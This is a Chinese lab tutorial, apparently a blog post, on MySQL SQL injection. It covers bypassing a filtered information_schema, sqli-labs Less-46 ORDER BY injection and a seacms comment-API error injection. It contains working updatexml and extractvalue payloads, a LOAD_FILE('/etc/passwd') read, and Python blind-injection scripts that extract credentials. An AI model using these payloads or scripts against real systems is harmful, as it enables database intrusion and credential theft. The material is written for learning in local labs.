SQL注入(order by,limit),seacms的报错注入以及系统库的绕过

目录

1:如果information_schema被过滤了,该怎么绕过

1.1:介绍一下information_schema这个库

1.1.1information_schema 的作用

1.1.2主要表及其用途

1.1.3使用场景示例

1.2:使用其他数据库(sys需要5.7版本以上)

1.2.1:具体实现

1.2.2:mysql默认存储引擎innoDB携带的表

1.2.2: 关键字做处理

1.2.3:时间盲注

1.2.4:布尔盲注(python脚本)

1.2.5:利用联合查询

1.2.6:文件读取:

 2、order by(第46关)

2.1:实验环境

2.2:实验过程

2.2.1:实验分析

2.3:报错注入

2.3.1:查看security库下的所有表

2.3.2:查看users表下的所有字段

2.3.3:查看username,password字段下的所有值

2.4:Boolean盲注

 运行结果:

2.5:时间盲注 

3、seacms海洋系统的报错注入分析

3.1:实验环境

3.2:漏洞分析:

爆出数据库

EXTRACTVALUE()函数

CONCAT_WS() 函数

 爆用户名和密码:

用户名:


1:如果information_schema被过滤了,该怎么绕过

1.1:介绍一下information_schema这个库

information_schema 是一个非常重要的系统数据库,它在SQL标准中定义,并且被许多关系型数据库管理系统(RDBMS)如MySQL、PostgreSQL等支持。这个库提供了一个访问数据库元数据的方式,即关于数据库本身的数据,包括数据库名、表结构、列属性、访问权限等等。

1.1.1information_schema 的作用
  • 元数据查询:允许用户查询数据库中的元数据,例如获取所有数据库列表、特定数据库下的所有表、表中的所有列等。
  • 权限管理:可以用来检查用户的权限,比如某个用户对特定表是否有读写权限。
  • 优化与调试:开发人员和数据库管理员可以通过查询information_schema来优化查询性能或调试问题,例如查看索引的使用情况、表的大小等。
1.1.2主要表及其用途

information_schema 中包含多个视图,每个视图都提供了不同类型的元数据信息:

  • SCHEMATA:列出当前服务器上的所有数据库(schema)。
  • TABLES:显示当前数据库中所有表的信息,包括表类型(BASE TABLE, VIEW等)。
  • COLUMNS:展示指定表的所有列的详细信息,包括列名、数据类型、是否允许NULL值等。
  • VIEWS:提供有关视图的信息,包括视图的定义。
  • KEY_COLUMN_USAGE:描述外键约束的细节。
  • STATISTICS:提供索引相关信息。
  • USER_PRIVILEGES:显示授予用户的全局权限。
  • ROUTINES:存储过程和函数的相关信息。
1.1.3使用场景示例

获取所有数据库列表

SELECT schema_name FROM information_schema.schemata;

查询某数据库下所有表名

SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name';

查找表中的所有列及其数据类型

SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'your_database_name' AND table_name = 'your_table_name';

1.2:使用其他数据库(sys需要5.7版本以上)

使用此数据库就不得不谈到我们的系统数据库了,先来复习一下MySQL数据库的系统库

  • information_schema:主要存储了系统中的一些数据库对象信息,如用户信息,列信息,权限信息,字符集信息,分区信息等(数据字典)
  • performance_schema:主要存储了数据库服务的性能参数
  • MySQL:主要存储了系统的用户权限信息和帮助文档
  • sys:5.7后新增产物:information_schema和performance_schema的结合体,并以视图的形式显示出来的,能够查询出更令人容易理解的数据。

1.2.1:具体实现

 首先来看问题,information数据库被过滤了,如果我们输入中存在information就会被判定为SQL注入,所以我们就不使用information这个数据库就可以了

小知识:MySQL 5.7引入了sys数据库,它是一个基于performance_schema和information_schema构建的视图集合,提供了更易于理解的数据。可以使用sys.schema_auto_increment_columns或sys.schema_table_statistics_with_buffer来获取数据库和表的信息。

我们可以先看一下表的数据

表sys.schema_table_statistics_with_buffer

DESCRIBE x$schema_table_statistics_with_buffer;

1.2.2:mysql默认存储引擎innoDB携带的表

1,mysql.innodb_table_stats

2,mysql.innodb_index_stats

 SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();

1.2.2: 关键字做处理
  • HEX编码:0x696E666F726D6174696F6E5F736368656D61
  • 字符串:concat('informa','tion_scheam') 
  • 大小写:INforMation_Scheam
1.2.3:时间盲注
SELECT IF(ASCII(SUBSTRING(DATABASE(), 1, 1)) = 97, SLEEP(5), 0);

如果条件为真,数据库将延迟5秒才返回结果,否则立即返回。通过调整不同的字符和条件,你可以逐渐拼凑出表名(可使用python脚本破解)

1.2.4:布尔盲注(python脚本)
SELECT CASE WHEN (SELECT SUBSTRING(mysql.innodb_table_stats, 1, 1) FROM your_table LIMIT 1) = 'a' THEN 1/0 ELSE 1 END;
1.2.5:利用联合查询
SELECT id, name FROM users WHERE id = 1 UNION SELECT table_name, '' FROM your_table;
1.2.6:文件读取:

某些数据库允许从文件系统中读取文件内容。例如,在MySQL中,你可以使用 LOAD_FILE() 函数读取服务器上的文件。

假设你想读取 /etc/passwd 文件的内容:

SELECT LOAD_FILE('/etc/passwd');

需要注意的是,这种方法通常需要有相应的权限,并且很多环境都会禁用这种功能

 2、order by(第46关)

2.1:实验环境

sqliab靶场的第四十六关

需要开启小皮MySQL以及nginx本地部署

2.2:实验过程
2.2.1:实验分析

 这里可以看到用order by排序字符对字段进行了排序

所以这里我们来设置一下sort的值

当sort=1,2,3时,发现页面都有如下回显(分别对第1,2,3个字段进行了排序)

但是当sort=4时:报错了

说明只有三个字段

先来试一下单引号闭合

http://127.0.0.1/sqliab/Less-46/?sort=1%27

根据显示可以看出来是数字型注入,

这里因为有完整的错误回显,所以我们可以使用报错注入攻击或者使用时间盲注

可以看到回显了数据库

2.3:报错注入

2.3.1:查看security库下的所有表
http://127.0.0.1/sqliab/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

2.3.2:查看users表下的所有字段
http://127.0.0.1/sqliab/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

 

2.3.3:查看username,password字段下的所有值
http://127.0.0.1/sqliab/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)--+

2.4:Boolean盲注
import requests
from bs4 import BeautifulSoup

def get_content(resp):
    soup = BeautifulSoup(resp.text, 'html.parser')
    
    username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
    return username_elem.text.strip() if username_elem else None

def binary_search_injection(base_url, sql_query_template, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 127
        while left <= right:
            mid = (left + right) // 2
            url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))
            try:
                resp = requests.get(url)
                content = get_content(resp)
                if content == 'Dumb':
                    left = mid + 1
                else:
                    right = mid - 1
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break
       
        if left > 127 or left < 32:
            break
        char_to_add = chr(left)
        
        if char_to_add.isspace():
            break
        result.append(char_to_add)
        print(''.join(result))  
    return ''.join(result)

if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqliab/Less-46/index.php?sort={sql_query} -- "

  
    database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"
    table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char},id,username)"
    column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char},id,username)"
    data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char},id,username)"

    
    # print(binary_search_injection(base_url, database_query))
    # print(binary_search_injection(base_url, table_query))
    print(binary_search_injection(base_url, column_query))
    # print(binary_search_injection(base_url, data_query))
 运行结果:

 

 

2.5:时间盲注 
import requests
import time


def inject_with_time(base_url, sql_query_template, delay=5, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 127
        while left <= right:
            mid = (left + right) // 2
            
            query = sql_query_template.format(index=i, mid_char=mid, delay=delay)
            url = base_url.format(sql_query=query)
            start_time = time.time()
            try:
                resp = requests.get(url)
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break
            elapsed_time = time.time() - start_time

          
            if elapsed_time > delay:
                left = mid + 1
            else:
                right = mid - 1

           
            time.sleep(0.1)

        
        if left > 127 or left < 32:
            break
        char_to_add = chr(left)
        if char_to_add.isspace():
            break
        result.append(char_to_add)
        print(''.join(result)) 
    return ''.join(result)


if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqliab/Less-46/index.php?sort={sql_query} -- "

   
    database_query = "if(ascii(substr(database(),{index},1))>{mid_char}, sleep({delay}), 0)"
    table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char}, sleep({delay}), 0)"
    column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char}, sleep({delay}), 0)"
    data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char}, sleep({delay}), 0)"

   
    # print(inject_with_time(base_url, database_query, delay=5))
    # print(inject_with_time(base_url, table_query, delay=5))
    print(inject_with_time(base_url, column_query, delay=5))
    # print(inject_with_time(base_url, data_query, delay=5))

3、seacms海洋系统的报错注入分析

3.1:实验环境

海洋影视管理系统(seacms,海洋cms)是一套转为不同需求的站长而设计的视频点播系统,采用的是php5.x+mysql的架构。

3.2:漏洞分析:

漏洞文件:

./comment/api/index.php,漏洞参数:$rlist

主要还是这个$rlist这可能有外部数据

源码:

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	


function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

通过源码分析可知,是$rlist出现了注入点

爆出数据库
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x20,0x5c,database())),@`%27`

输入以上sql注入,出现

EXTRACTVALUE()函数

SQL 注入利用
尽管 EXTRACTVALUE() 主要用于处理 XML 数据,但在某些情况下,攻击者可能会滥用此函数来执行 SQL 注入攻击。特别是当数据库错误信息被显示给用户时,可以通过构造恶意输入使 EXTRACTVALUE() 产生错误,并在错误消息中泄露敏感信息。

CONCAT_WS() 函数

是 MySQL 中的一个字符串函数,用于将多个字符串连接在一起,并使用指定的分隔符分隔这些字符串。WS 代表 "With Separator",意味着这个函数会自动在每个字符串之间插入你指定的分隔符。

用法: 

CONCAT_WS(separator, str1, str2, ...)
  • separator:作为分隔符使用的字符串。
  • str1, str2, ...:要连接的字符串列表。

举例:

 我们可以使用 CONCAT_WS() 来生成全名和部门信息:

SELECT CONCAT_WS(' ', first_name, last_name) AS full_name,
       CONCAT_WS(' - ', department, 'Department') AS dept_info
FROM employees;

输出结果:

特殊情况处理 :

  • 空值(NULL)处理:如果某个参数是 NULL,则 CONCAT_WS() 会忽略该参数而不影响其他字符串的连接。例如:
SELECT CONCAT_WS(',', 'Apple', NULL, 'Banana');

结果将是 'Apple,Banana',而不是包含 NULL 的错误输出

  • 只有一个非空参数的情况:如果除了分隔符外只有一个非空参数,则返回该参数,不附加分隔符。
SELECT CONCAT_WS('-', 'OnlyOneValue');

结果将是 'OnlyOneValue'

 爆用户名和密码:
用户名:

但是当我输入:

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`

 

页面无回显! 这是怎么回事呢???不急,我们打开wireshark抓包看看

 发现数据库的字段都是来自这个数据库,那我们打开cmd窗口来看一下这个数据库

 诶??发现这个怎么是个空表

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值